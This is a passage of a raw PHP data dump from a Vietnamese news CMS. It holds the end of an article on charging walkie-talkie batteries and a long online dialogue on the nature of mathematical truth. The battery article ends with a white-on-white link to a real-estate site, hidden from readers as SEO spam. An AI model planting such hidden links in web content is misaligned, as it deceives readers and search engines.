border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" /> <br style="user-select: text !important;" /> <span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p> ', 'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '69053', 'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '845', 'rght' => '846', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton 